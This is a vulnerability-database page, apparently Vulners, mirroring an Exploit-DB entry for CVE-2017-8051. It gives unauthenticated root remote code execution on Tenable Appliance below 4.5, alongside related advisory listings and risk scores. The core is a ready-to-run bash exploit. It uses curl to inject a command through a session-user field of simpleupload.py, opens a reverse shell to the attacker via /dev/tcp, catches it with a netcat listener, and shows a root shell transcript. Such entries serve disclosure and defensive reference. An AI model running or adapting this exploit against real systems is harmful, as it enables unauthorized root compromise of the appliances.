Lucene search
+L

Tenable Appliance < 4.5 - Root Remote Code Execution

🗓️ 18 Apr 2017 00:00:00Reported by agixType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Tenable Appliance < 4.5 - Root Remote Code Execution, Unauthenticated Remote Root Code Execution on Tenable Applianc

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
The vulnerability of the simpleupload.py script in the Tenable Appliance web interface allows a hacker to execute arbitrary commands.
23 Nov 201700:00
–bdu_fstec
cnvd
CNVD
Tenable Appliance Arbitrary Command Execution Vulnerability
24 Apr 201700:00
–cnvd
cve
CVE
CVE-2017-8051
21 Apr 201718:00
–cve
cvelist
Cvelist
CVE-2017-8051
21 Apr 201718:00
–cvelist
nvd
NVD
CVE-2017-8051
21 Apr 201718:59
–nvd
osv
OSV
CVE-2017-8051
21 Apr 201718:59
–osv
prion
Prion
Command injection
21 Apr 201718:59
–prion
ptsecurity
Positive Technologies
PT-2017-3098
18 Apr 201700:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2017-8051: Improper Neutralization of Special Elements used in an OS Command
21 Apr 201700:00
–rapid7
redhatcve
RedhatCVE
CVE-2017-8051
22 May 202506:30
–redhatcve
Rows per page
#!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.

# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5

tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'

#!/bin/bash

TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337


curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2017 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 39.8
CVSS 210
EPSS0.16478
36